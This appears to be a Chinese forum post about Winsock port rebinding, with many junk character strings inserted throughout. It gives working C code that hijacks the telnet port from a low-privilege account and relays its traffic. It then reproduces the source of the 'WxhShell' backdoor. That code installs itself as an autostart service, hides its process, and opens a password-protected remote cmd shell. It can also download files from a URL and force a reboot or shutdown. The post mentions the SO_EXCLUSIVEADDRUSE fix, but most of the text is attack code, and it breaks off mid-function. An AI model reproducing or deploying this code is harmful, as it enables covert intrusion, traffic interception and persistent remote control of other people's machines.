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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Uw]o9 e0S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r $[{sW u+y3(0 saddr.sin_family = AF_INET; U'^ G-@ w`EC6ZN saddr.sin_addr.s_addr = htonl(INADDR_ANY); KRX\<@ DR
@yd, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j<QK1d17 f,kV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rmi&{o: ]*U+nG 这意味着什么?意味着可以进行如下的攻击: ^F
qs,^~W \PD%=~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?VCp_Ji $> ;| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s1R#X~d 39m8iI%w[
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vTo+jQs^ bxPJ5oT 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 A>,kmU5 3kh!dL3D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k%8kt4\wn6 NiEz3ODSi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i03=Af3 ~;-2eKw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0eKLp8;Lh tJ*/5k
& #include 7L!}F;yT #include A~v[6*~> #include &G[W$2`@ #include Lp3pJE
DWORD WINAPI ClientThread(LPVOID lpParam); A
k~|r#@ int main() t\]kVo) {
'SXLnoeTa WORD wVersionRequested; ;1s;" DWORD ret; Vx:uqzw# WSADATA wsaData; mE=Tj%+x BOOL val; 6kMEm)YjT SOCKADDR_IN saddr; 3sRI7g SOCKADDR_IN scaddr; V
lkJ$f5l int err; cd~ QGP_C SOCKET s; i!fk'Yt% SOCKET sc; {MN6JGb|' int caddsize; YzJWS|] HANDLE mt; p.<d+S< DWORD tid; :?}>Q wVersionRequested = MAKEWORD( 2, 2 ); `9k\~D=D~ err = WSAStartup( wVersionRequested, &wsaData ); 3''Uxlo\ if ( err != 0 ) { A/&u/?*C printf("error!WSAStartup failed!\n"); \acGSW
.c return -1; ny!80I } 8Ht=B,7T saddr.sin_family = AF_INET; J*zQ8\f=} uhv_'Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z"KrirZ :^qUr`) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VD $PoP saddr.sin_port = htons(23); %{UW!/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zo8&(XS { *=]UWM~] printf("error!socket failed!\n"); nv(6NV return -1; fGW~xul_ } Ic^
(6 val = TRUE; .Wi%V" //SO_REUSEADDR选项就是可以实现端口重绑定的 [w-#
!X2y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6ZwQ/~7H { nEP3B'+ printf("error!setsockopt failed!\n"); X{[$4\di{ return -1; /1m+iM^V } E(z|LS*3 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kpy)kS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /!.]Y8yEH //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GO*D4<#u In;P33'p if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i5_l//] { O;&5>
W,Z ret=GetLastError(); I.>8p]X printf("error!bind failed!\n"); X)=m4\R return -1; pcQkJF } jwuSne listen(s,2); * *oDQwW]* while(1) IL uQf- { DGw*BN%` caddsize = sizeof(scaddr); }IdkXAB. //接受连接请求 * bhb=~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [jxh$}?P if(sc!=INVALID_SOCKET) c>! ^\ { G)f!AuN= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !aJ6Uf%R if(mt==NULL) G8MLg # { Zlt,Us` printf("Thread Creat Failed!\n"); iSfRo31 break; C1qlB8(Wh> } RE-y5.kE^ } K|Xe) CloseHandle(mt); -s7!:MB%g } U-$nwji closesocket(s); #;+SAoN
WSACleanup(); !w0=&/Y{R return 0; U7e2NES } *y` (^kyS DWORD WINAPI ClientThread(LPVOID lpParam) kw7E<aF! { U'~]^F%eyu SOCKET ss = (SOCKET)lpParam; m( %PZ*s SOCKET sc; (/9 erfuJ unsigned char buf[4096]; J/,m'wH SOCKADDR_IN saddr; I>6zX long num;
m;TekJXm DWORD val; W&[-QM8 DWORD ret; 5{IbKj| //如果是隐藏端口应用的话,可以在此处加一些判断 RSw;b.t7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 7osHKO<?2 saddr.sin_family = AF_INET; K( ?p]wh saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kbbHa_;aqV saddr.sin_port = htons(23); rt?*eC1b+Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aZ|S$-} { W[e2J&G printf("error!socket failed!\n"); bweAmSs return -1; 5d# 73)x$ } $:UD #eh0? val = 100; 0Pt%(^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /)dyAX( { "`4M4`' ret = GetLastError(); e5"5 U7 return -1; H|MAbx
7 } [A]
+Azc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t1$pl6&, { -q
nOq[ ret = GetLastError(); cFq2 6(e return -1; \JCpwNT{P } 3{Zd<JYg4- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZsYY)<n { l&mY}k printf("error!socket connect failed!\n"); v0bP|h[t closesocket(sc); ~E vGNnTL closesocket(ss); 9Sa6v?sRor return -1; *D`$oK,U } 6TXTJ]er while(1) 7&w[h4Lw { RX^Xtc" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a1Q W0d //如果是嗅探内容的话,可以再此处进行内容分析和记录 g@>93j=cZU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ta'wX num = recv(ss,buf,4096,0); 0bSnD|#I if(num>0) rd=+[:7L send(sc,buf,num,0); QBfo=9[=e else if(num==0) /#q6.du break; t8.3 num = recv(sc,buf,4096,0); |eJR3o if(num>0) I SdB5Va send(ss,buf,num,0); '!`]Zc else if(num==0) qd~9uo&[Ig break; ()n2 KT } m,}GP^<1i closesocket(ss); fhC| =0XB closesocket(sc); M7-2;MZ return 0 ; _kBx2>qQ } Jc` tOp5 zH#urF6< 5{v uN)K3 ========================================================== 0h{&k7T<7 $ERiBALN: 下边附上一个代码,,WXhSHELL |8)\8b|VuC IP)%y%ycw ========================================================== {K:]dO 2i NZz #include "stdafx.h" (rq(y$N qG]0z_dPE~ #include <stdio.h> ]*Kv[%r07c #include <string.h> O.8k [Ht #include <windows.h> 1?Tj #include <winsock2.h> 8]bLp #include <winsvc.h> wLvM<p7OX #include <urlmon.h> IABF_GwF CT'#~~QB #pragma comment (lib, "Ws2_32.lib") XK)0Mt\ #pragma comment (lib, "urlmon.lib") lB8gD NK:! U #define MAX_USER 100 // 最大客户端连接数 gg Nvm #define BUF_SOCK 200 // sock buffer Yn0iu$;n #define KEY_BUFF 255 // 输入 buffer 1(e64w@ (CJx Y(1K #define REBOOT 0 // 重启 8==_43 #define SHUTDOWN 1 // 关机 Ue"pNjd| YgjN*8w\ #define DEF_PORT 5000 // 监听端口 9o3? "M^mJl&*b #define REG_LEN 16 // 注册表键长度 ySF^^X$J #define SVC_LEN 80 // NT服务名长度 Y_~otoSoY |=V~CQ] // 从dll定义API y'non0P. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >Pvz5Hf/wW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vskp1 Wi( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); upZf&4 I8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &VG "z_},TCy // wxhshell配置信息 rFp>A`TJ struct WSCFG { P.mlk>r int ws_port; // 监听端口 k^zU; char ws_passstr[REG_LEN]; // 口令 ^uPg71r: int ws_autoins; // 安装标记, 1=yes 0=no Z'|k M! char ws_regname[REG_LEN]; // 注册表键名 dfZ`M^NU char ws_svcname[REG_LEN]; // 服务名 s .+`"rK char ws_svcdisp[SVC_LEN]; // 服务显示名 Q\btl/? char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wr'1Y7z char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y!
QYdf? int ws_downexe; // 下载执行标记, 1=yes 0=no ,R-aO= % char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" P>03 DkbB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Py?Q:: Qd>\{$N }; 9n"MNedqH 'ud[#@2 // default Wxhshell configuration FPM l;0{ struct WSCFG wscfg={DEF_PORT, Iv*u#]{t "xuhuanlingzhe", 91nw1c! 1, 9`M7 -{ "Wxhshell", @rF|WT "Wxhshell", :H+8E5 "WxhShell Service", MIh\z7gW "Wrsky Windows CmdShell Service", 1xSG(! "Please Input Your Password: ", #&%>kfeJ)< 1, r\)bN4-g " http://www.wrsky.com/wxhshell.exe", C;.,+(G "Wxhshell.exe" <;Tr
}; Z#YNL-x $+$l?2 // 消息定义模块 p+dOw# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (%"9LYv char *msg_ws_prompt="\n\r? for help\n\r#>"; {faIyKtW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; M+:9U&>
char *msg_ws_ext="\n\rExit."; )ybF@emc char *msg_ws_end="\n\rQuit."; ~R50-O char *msg_ws_boot="\n\rReboot..."; >`0mn|+ char *msg_ws_poff="\n\rShutdown..."; HV*;Yt char *msg_ws_down="\n\rSave to "; 8pZ Ogh
bR8`Y(=F9b char *msg_ws_err="\n\rErr!"; NOKU2d4 G char *msg_ws_ok="\n\rOK!"; c]/S<w< xErb11 char ExeFile[MAX_PATH]; R'" c int nUser = 0; Xg*](>/\, HANDLE handles[MAX_USER]; +(^HL3 int OsIsNt; 8IE^u<H(: %Y>E SERVICE_STATUS serviceStatus; j0s$}FPUI SERVICE_STATUS_HANDLE hServiceStatusHandle; o^m?w0 \ 3xiDt?&H // 函数声明 g(,^';j int Install(void); T k@ ~w int Uninstall(void); 4S[UJ% int DownloadFile(char *sURL, SOCKET wsh); d`~~Ww1 int Boot(int flag); 5}c8v2R:B void HideProc(void); bvZ:5M int GetOsVer(void); c] t@3 m int Wxhshell(SOCKET wsl); h_SkX@"/- void TalkWithClient(void *cs);
Lw%_xRn) int CmdShell(SOCKET sock); [^^ Pl:+ int StartFromService(void); $48Z>ij?f int StartWxhshell(LPSTR lpCmdLine); D3%2O`9 q'TIN{\.{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &HtTh { VOID WINAPI NTServiceHandler( DWORD fdwControl ); o"_'cNAz W|y;Kxy // 数据结构和表定义 5pK
_-:? SERVICE_TABLE_ENTRY DispatchTable[] = b};o: { Rd|8=`) {wscfg.ws_svcname, NTServiceMain}, EdkIT|c{ {NULL, NULL} z,4 D'F& }; oR/_{#Mz" ou-uZ"$,c // 自我安装 }}D32TVN int Install(void) e`OQ6|.k8 { tw&v@HUP char svExeFile[MAX_PATH]; {8oGWQgrj HKEY key; F\|4zM strcpy(svExeFile,ExeFile); OA(.&5] vm'Z A7f6 // 如果是win9x系统,修改注册表设为自启动 CPMGsW^ if(!OsIsNt) { '4Fwh]Ee if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >k/cm3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U4<c![Pp. RegCloseKey(key); >?rMMR+A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F=e-jKogK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " 0m4&K(3, RegCloseKey(key); h9#)Eo return 0; z^z`{B } fc9@l a } ]5Dh<QY&. } -V;BkE76 else { QWEE%}\3} Ak8Y?#"wz // 如果是NT以上系统,安装为系统服务 Ip:54 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (<8}un if (schSCManager!=0) c?u*,d) G { RS
l*u[fB SC_HANDLE schService = CreateService )*S:C ( Kf*Dy:e schSCManager, ^$sqU wscfg.ws_svcname, )%3T1
D/ wscfg.ws_svcdisp, S#$Kmm
| SERVICE_ALL_ACCESS, T ~(Sc'8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OZnKJ< SERVICE_AUTO_START, W5=)B`v SERVICE_ERROR_NORMAL,
o?m/ svExeFile, h /^bRs`; NULL, [.1MElM NULL, PMV,*`"9"A NULL, Z7RBJK7|. NULL, :GO"bsjL NULL Y[dq" ); %dv?n#Uf if (schService!=0) %W)pZN} { $(Mz@#% CloseServiceHandle(schService); 7.6L1srV CloseServiceHandle(schSCManager); ?Ve IlD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `fTM/" strcat(svExeFile,wscfg.ws_svcname); ,"XiI$Le if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q$mc{F($D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oPM*VTMA RegCloseKey(key); 13`Mt1R return 0; |K06H
?6X } v{fcQb }
2wHbhW[ CloseServiceHandle(schSCManager); y& 1@d+Lf } ?1a9k@[t } % hvK;B?Y| Jk6}hUH, return 1; \m
GY'0 } 9|#cjHf ,<r&]
eC // 自我卸载 DQm%=ON7 int Uninstall(void) nGkSS_X { mpMAhm: HKEY key; Zrr)<'!i uMS+,dXy if(!OsIsNt) { u0 tlf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gJ'pwSA RegDeleteValue(key,wscfg.ws_regname); @2)nhW/z6 RegCloseKey(key); %dFJ'[jDL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qop,~yK RegDeleteValue(key,wscfg.ws_regname); E<[
s+iX RegCloseKey(key); }|Mwv
$` return 0; *_o(~5w-K } cN8Fn4gq } 'in%Gii } dQ.#8o= else { UI+6\ 3 t'l4$}( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MmR6V#@: if (schSCManager!=0) r(46jV.sD: { L2ydyXIsd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K+F"V W*? if (schService!=0) _!@:@e)yB{ { czuIs|_K* if(DeleteService(schService)!=0) {
p;w&}l{{ CloseServiceHandle(schService); +*:mKx@Nw CloseServiceHandle(schSCManager); d*0RBgn return 0; VNHceH } :~vodh CloseServiceHandle(schService); JhFbze> } |JxVfX8^ CloseServiceHandle(schSCManager); 9Yv:6@. F } VP~2F
E } O
{1" I EIg~^xK return 1; 'Oue 1[ } 3I_^F&T gHrs|6q9 // 从指定url下载文件 ^H3N1eC,`F int DownloadFile(char *sURL, SOCKET wsh) cMXv { qTr P@F4`g HRESULT hr; m-vn5OX char seps[]= "/"; K)7T]z` char *token; l<f9$l^U char *file; 8(L$a1#5W char myURL[MAX_PATH]; 25$_tZPAI char myFILE[MAX_PATH];
X8$Mzeq >u&D@7~c strcpy(myURL,sURL); .d]/:T
-0 token=strtok(myURL,seps); h|CZ~ while(token!=NULL) IR6W'vA { @MES.g file=token; /\w4k token=strtok(NULL,seps); f^uiZb } Z8#nu d Fy$ w= GetCurrentDirectory(MAX_PATH,myFILE); p%I'd^}.! strcat(myFILE, "\\"); i6'=]f'{ strcat(myFILE, file); /Sw~<B!8N send(wsh,myFILE,strlen(myFILE),0); EAGvP&~P send(wsh,"...",3,0); hv|a8=U!R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =:gKh if(hr==S_OK) QnWE;zN[7A return 0; 5H0qMt P else Q)DEcx-|, return 1; cag 5w~Px Lq2Q:w' } e= IdqkJ% ws'e // 系统电源模块 .Vbd-jr'M int Boot(int flag) tOiz tYu { .SD-6GVD HANDLE hToken; .\R9tt} TOKEN_PRIVILEGES tkp; mWT+15\5r( o5o myMN if(OsIsNt) { )@NFV*@I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i1vz{Tc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d4S4
e tkp.PrivilegeCount = 1; V*j l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )QE6X67i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r&]XNq'P9 if(flag==REBOOT) { Qn*l,Z]US if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -V/y~/]J return 0; ^k=<+*9 } I2[Z0G@&= else { v -}f
P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d @R7b^#g return 0; E(~7NRRm } 4&mY-N7A } JbPkC*. else { LZV- E=` if(flag==REBOOT) { r1L@p[> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gNB+e5[; 2 return 0; 8z`ZHn3= } qUJ"* )S else { ;g0Q_F@;p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $6rm;UH return 0; W%L'nR~w$ } wQ+pVu?6_ } ,1sbY!&ekL yYP_TuNa return 1; D
S U`(` } [bhKL5l #
e?B // win9x进程隐藏模块 N%dY.Fk void HideProc(void) q/EX`%U { *9\j1Nd ?b]zsku8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LCorT- if ( hKernel != NULL ) ?Q"andf { 6$urrSQ`N0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D$}hoM1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X30tO> FreeLibrary(hKernel); }~
D
WB" } qp})4XT v &-=~8 return; JwSF}kNs} } hxoajexU pP| @Z{7d` // 获取操作系统版本 oco,sxT int GetOsVer(void) N~!,
S;w { wA5Iz{uQO OSVERSIONINFO winfo; ]?y~;-^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OJ&'Z}LB GetVersionEx(&winfo); w;O-ATUzN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cGlN*GJ*H return 1; +#Pb@^6"m else Nf]?hfJ return 0; ;fNCbyg4
I } $s7U
|F,I xS|9Gk // 客户端句柄模块 _.s,gX int Wxhshell(SOCKET wsl) Qt.*Z;Gs { s5*4<VxQN. SOCKET wsh; `%Ih'(ne struct sockaddr_in client; VIAq$iu7 DWORD myID; ?|5M'o|9 PPXwmR while(nUser<MAX_USER) 2.^{4 1: { r&LZH.$oh int nSize=sizeof(client); v'hc-Q9+> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KrGl}| if(wsh==INVALID_SOCKET) return 1; wpZ"B+oK! $Tbsre\MJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5;)^o3X> if(handles[nUser]==0) UT3Fi@
closesocket(wsh); 8eB,$;i else :rb;*nY! nUser++; }g +kU1y } mF
1f( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {!2K-7; cO5F=ZxR return 0; HyzSHI } -Lq+FTezE H'WYnhU& // 关闭 socket QM(xMq
void CloseIt(SOCKET wsh) ?'k_K:_ { i9ySD closesocket(wsh); 'l'3&.{Yfk nUser--; og";mC ExitThread(0); xT>9ZZcE } V|YQhd0kv 89M'klZ // 客户端请求句柄 Q/|.=:~FO void TalkWithClient(void *cs) m1W) PUy { %,[,mW4l i]Mem M- SOCKET wsh=(SOCKET)cs; 9^/Y7Wp/@ char pwd[SVC_LEN]; fw&*;az char cmd[KEY_BUFF]; lAnq2j| char chr[1]; V*n$$-5
1- int i,j; wNmpUO ? ]gBnzh. while (nUser < MAX_USER) {
Ek<Qz5) v]SxZLa if(wscfg.ws_passstr) { )WoH>D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z#.d7B" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *EuX7LEu_ //ZeroMemory(pwd,KEY_BUFF); qm_l#
u6 i=0; 'HWl_M while(i<SVC_LEN) { D9+qT<ojN WaB0?jI // 设置超时 [63\2{_^v fd_set FdRead; 4. R(`#f struct timeval TimeOut; ,&BNN]k FD_ZERO(&FdRead); +2iD9X{$MX FD_SET(wsh,&FdRead); 1{N+B#*<[X TimeOut.tv_sec=8; .2%t3ul[ TimeOut.tv_usec=0; =AO
( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]njNSn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mh8fJ6j29N u[**,.Ecg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gY7sf1\wX pwd =chr[0]; EK# 11@0% if(chr[0]==0xd || chr[0]==0xa) { Phi5;U! pwd=0; QD7KE6KP' break; @XJ7ff& } %np(z&@wi i++; "s|P,*Xf } 3VLwY!2: ?kR1T0lKkE // 如果是非法用户,关闭 socket NFTv4$5d if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WVR/0l&bU } a{xJ#_/6 qy'-'UlIr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K9zr]7;th send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tMw65Xei6b U5C]zswL while(1) { ,\i*vJ#f X$UK;O ZeroMemory(cmd,KEY_BUFF); E_~e/y"- CT'4. // 自动支持客户端 telnet标准 g(pr.Dw6 j=0; (#y2RF8j while(j<KEY_BUFF) { __b4dv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $1ovT8 cmd[j]=chr[0]; xT 06*wQ if(chr[0]==0xa || chr[0]==0xd) { &pY' cmd[j]=0; Movm1*&= break; P%:?"t+J`; } t{c:<nN j++; *+*W# de. } ND1hZ3(^ z-MQGqxR // 下载文件 A8tJ&O
rwY if(strstr(cmd,"http://")) { \0~?i6o send(wsh,msg_ws_down,strlen(msg_ws_down),0); rf=l1GW if(DownloadFile(cmd,wsh)) <P#BQt f send(wsh,msg_ws_err,strlen(msg_ws_err),0); [y8(v ~H else QqQhQ GV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f$FO 1B) } ~R[ k^i.Y else { l)\Q~^cxd {_b2!!p switch(cmd[0]) { +d#8/S* IM1&g7Qs2 // 帮助 =Fc]mcJ69 case '?': { [\3ZMH
* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >/74u/& break; rA
={;` } xS UpVK // 安装 A5j?Yts case 'i': { J&j5@ if(Install()) by+xK~> send(wsh,msg_ws_err,strlen(msg_ws_err),0); )y8Myb} else gIrbOMQ7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hV~M!vFxA break; sg=G<50i } B9|s`o)! // 卸载 Sj I,v+ case 'r': { Pd+*syOM if(Uninstall()) ^oav-R& send(wsh,msg_ws_err,strlen(msg_ws_err),0); D]_6OlIE#' else <cOjtq,0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VHPqEaR break; eGT&&Y } kBqgz|jE% // 显示 wxhshell 所在路径 ^1~lnD~0 case 'p': { b_`h2dUq char svExeFile[MAX_PATH]; r^6@Zwox] strcpy(svExeFile,"\n\r"); ?#GTD?3d strcat(svExeFile,ExeFile); 9ye!kYF, send(wsh,svExeFile,strlen(svExeFile),0); \FfqIc9; break; +@]k[9 } \ n2MP // 重启 :rM2G@{ case 'b': { |$
^3 5F send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AS]8rH if(Boot(REBOOT)) ;`/a. /bc send(wsh,msg_ws_err,strlen(msg_ws_err),0); U%pB else { Tv1oy%dK closesocket(wsh); s<LnUF1b ExitThread(0); x"sbm } D7nK"]HG;l break; T%oJmp?0 } pq
r_{ // 关机 cBqbbZyUk case 'd': { d BB?A~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c/ImK`:)4a if(Boot(SHUTDOWN)) L+G0/G}O\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); OLIMgc(W else { 842v^ 2 closesocket(wsh);
QDW,e]A ExitThread(0); TgjjwcO Y } Q3%] break; k={1zl ; } sCw>J#@2> // 获取shell h! uyTgq case 's': { Wu*
4r0 CmdShell(wsh); Io*H}$Gf closesocket(wsh);
m#_Rv ExitThread(0); i7-i!`< break; eCR^$z=c } r+m.!+ // 退出 {St- case 'x': { YvN]7tcb send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'k]~Q{K$ CloseIt(wsh); e YP^.U) break; 3O;H& } 1K#[Ef4 // 离开 OqS!y(
( case 'q': { im9w|P 5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); E oixw8hz closesocket(wsh); 1#cTk WSACleanup(); qE2VUEv5Y exit(1); pTGGJ, break; UapU:>!"` } VqvjOeCbH } .'A1Eoo0d } B-_b.4ND) [ KgO:},c // 提示信息 Z[w}PN,xV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ip<VRC5`5 } 9#7W+9 } yYGs]+ $ c-O+~ return; z/"*-+j } \,Ws=9f O$r/{{I. // shell模块句柄 n=4 int CmdShell(SOCKET sock) FS=yc.Q_ { xi{r-D8Z STARTUPINFO si; niCK(&z ZeroMemory(&si,sizeof(si)); 2DPv7\fW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RHBQgD$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &-qQF`7 PROCESS_INFORMATION ProcessInfo; $%cHplQz5 char cmdline[]="cmd"; i,^3aZwJ' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6\I^]\YO return 0;
$adZ|Q\ } tqpO3 @Q,Q"c2 // 自身启动模式 O!nS3%De int StartFromService(void) ^CLQs;zXE { s!?uLSEdb typedef struct L(C`<iE&3 {
;AJQ2 DWORD ExitStatus; 8Yk*$RR9 DWORD PebBaseAddress; @%x2d1FS DWORD AffinityMask; nS3Aadm DWORD BasePriority; d/yF}%0QI ULONG UniqueProcessId; NjZ~b/ ULONG InheritedFromUniqueProcessId; ^wWbW&<Tg } PROCESS_BASIC_INFORMATION; 9MfU{4:;I yIn$ApSGY PROCNTQSIP NtQueryInformationProcess; ?-:2f#bC 11"r FZ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W9w*=W
